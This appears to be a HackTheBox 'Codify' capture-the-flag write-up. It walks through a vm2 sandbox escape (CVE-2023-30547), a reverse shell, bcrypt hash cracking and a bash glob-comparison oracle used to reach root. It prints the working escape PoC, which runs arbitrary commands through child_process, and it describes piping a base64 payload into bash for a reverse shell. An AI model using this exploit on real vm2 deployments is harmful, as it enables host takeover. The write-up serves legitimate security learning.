// HackTheBox
Codify
CVE-2023-30547 (vm2 sandbox escape, <=3.9.16) → svc → joshua → root
Recon
An nmap scan returned three ports:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP (Apache, redirects/mirrors) |
| 3000 | HTTP (Node.js Express — “Codify”, “Test your Node.js code easily” — an in-browser sandboxed JS runner using vm2) |
Port 3000 is the interesting one: it’s a web app that runs user-supplied JavaScript
server-side inside a sandbox. The /limitations page lists blocked modules
(child_process, fs), which confirms the sandbox is built on vm2 — a popular
Node.js library for running untrusted code in an isolated context. The /editor page
takes the code you type, base64-encodes it, and POSTs it to /run. An app whose entire
purpose is executing attacker-controlled JS inside vm2 is the thread to pull, because
vm2 has a history of sandbox-escape CVEs — if the version is old enough, “run code in
the sandbox” becomes “run code on the host.”
Foothold — CVE-2023-30547 (vm2 sandbox escape, <=3.9.16)
1. The vm2 escape
vm2 isolates guest code by wrapping every value that crosses the sandbox boundary and
sanitising any exception before it reaches host code. CVE-2023-30547 is a gap in that
sanitisation: a getPrototypeOf proxy trap can throw a host exception that vm2
fails to sanitise, so an unwrapped, real host Error object leaks into the guest.
From that genuine host object the guest can walk up to the host’s real Function
constructor, and from there reach the host process — escaping the sandbox entirely.
The public PoC (from leesh3288’s GitHub Security Advisory writeup) is used directly,
with execSync calling an arbitrary command:
err = {};
const handler = { getPrototypeOf(target) {
(function stack(){ new Error().stack; stack(); })();
}};
const proxiedErr = new Proxy(err, handler);
try { throw proxiedErr; }
catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('<cmd>');
}
The getPrototypeOf trap deliberately overflows the stack (stack() calling itself),
which forces the host to throw a RangeError; the unsanitised version of that error is
what the catch block captures. c.constructor('return process')() reconstructs the
host Function and returns the real process object, whose mainModule.require can
load the very child_process module the sandbox claimed to block.
2. From code execution to a reverse shell
/run reflects the value of the trailing expression back as {"output": ...}, so the
execSync call has to be the last expression for its output to show. Running id this
way returns uid=1001(svc) — confirming code execution as the svc user. Swapping
<cmd> for a reverse shell needs care: the command string is passed through a JS string
literal and then a shell, and nesting a bash -c '...' inside that stacks quoting
layers that break easily. The reliable trick is to base64-encode the reverse-shell
command and decode it on the target, which avoids nested quotes entirely:
echo <b64> | base64 -d | bash
With a nc listener running, that lands a shell as svc.
Privilege Escalation — svc → joshua → root
1. svc → joshua via a leaked bcrypt hash
svc has no user.txt, and the home directory belongs to joshua (browsing it is
permission-denied), so the flag lives on another account. Searching the web root turns
up /var/www/contact/tickets.db, a SQLite database — which matches the site’s own hint
that its “ticketing system is being migrated.” Its users table holds a bcrypt hash
for joshua. bcrypt is slow by design, but a weak password still falls to a wordlist;
john cracks it against rockyou.txt in about 26 seconds, yielding spongebob1:
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Those credentials work over SSH directly, logging in as joshua and giving the user
flag.
2. The sudo backup script and its glob oracle
Checking sudo -l as joshua shows one allowed command:
(root) /opt/scripts/mysql-backup.sh
There’s no NOPASSWD, so running it needs joshua’s password — already known. The
relevant part of the script:
DB_PASS=$(/usr/bin/cat /root/.creds)
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
if [[ $DB_PASS == $USER_PASS ]]; then ...
The bug is that $USER_PASS is unquoted on the right-hand side of [[ == ]]. In
bash, an unquoted RHS in [[ == ]] is not a string comparison — it’s treated as a
glob pattern matched against the left-hand side. That has two consequences. It’s a
full authentication bypass (entering * alone matches any DB_PASS), but far more
useful, it’s a character-by-character oracle: entering <prefix>* prints “Password
confirmed!” only when the real /root/.creds value starts with <prefix>. By trying
each possible next character and keeping whichever one still matches, the whole secret
can be recovered one character at a time.
This is automated in exploit/crack_root_pass.rb. It runs non-interactively —
read -s works fine on a piped, non-tty stdin, so there are no PTY/termios problems
(unlike Devvortex’s apport-cli) — and it drives the guesses over an SSH ControlMaster
connection (ssh -O ... -o ControlPersist) so each attempt reuses one multiplexed
channel instead of paying for a fresh TCP+auth handshake (~0.3s per attempt versus
several seconds without multiplexing). It recovers the full 22-character credential in
under a minute: kljh12k3jhaskjh12kjh3.
3. Credential reuse → root
That extracted value turns out to be root’s Linux login password as well —
credential reuse, consistent with the rest of this box. su root with it drops straight
into a root shell, with no need to actually run the backup script’s privileged
mysqldump path at all:
$ su root
Key Takeaways
vm2sandbox escapes (this box’s CVE-2023-30547, and its sibling CVE-2023-32314/37903 depending on patch level) are copy-paste-able from the library’s own GitHub Security Advisories — check those directly rather than guessing generic “prototype pollution”-style payloads.- Passing a payload through multiple quoting layers (shell → base64 → JS string →
shell again for the reverse-shell command) is fragile with nested single quotes;
base64-encoding the innermost shell command and piping it through
base64 -d | bashsidesteps quote-escaping entirely. [[ $a == $b ]]with an unquoted RHS in bash is glob-pattern matching, not string equality — this is the same underlying bug class as Perfection’s^/$per-line-anchor issue: a language/shell footgun around implicit pattern semantics. Beyond just bypassing such a check, it’s a practical oracle for exfiltrating the actual compared secret one character at a time.- SSH
ControlMaster/ControlPersistis worth setting up for any brute-force or oracle-based extraction that needs many sequential SSH round-trips — cuts per-attempt latency from a full handshake to a single multiplexed channel open.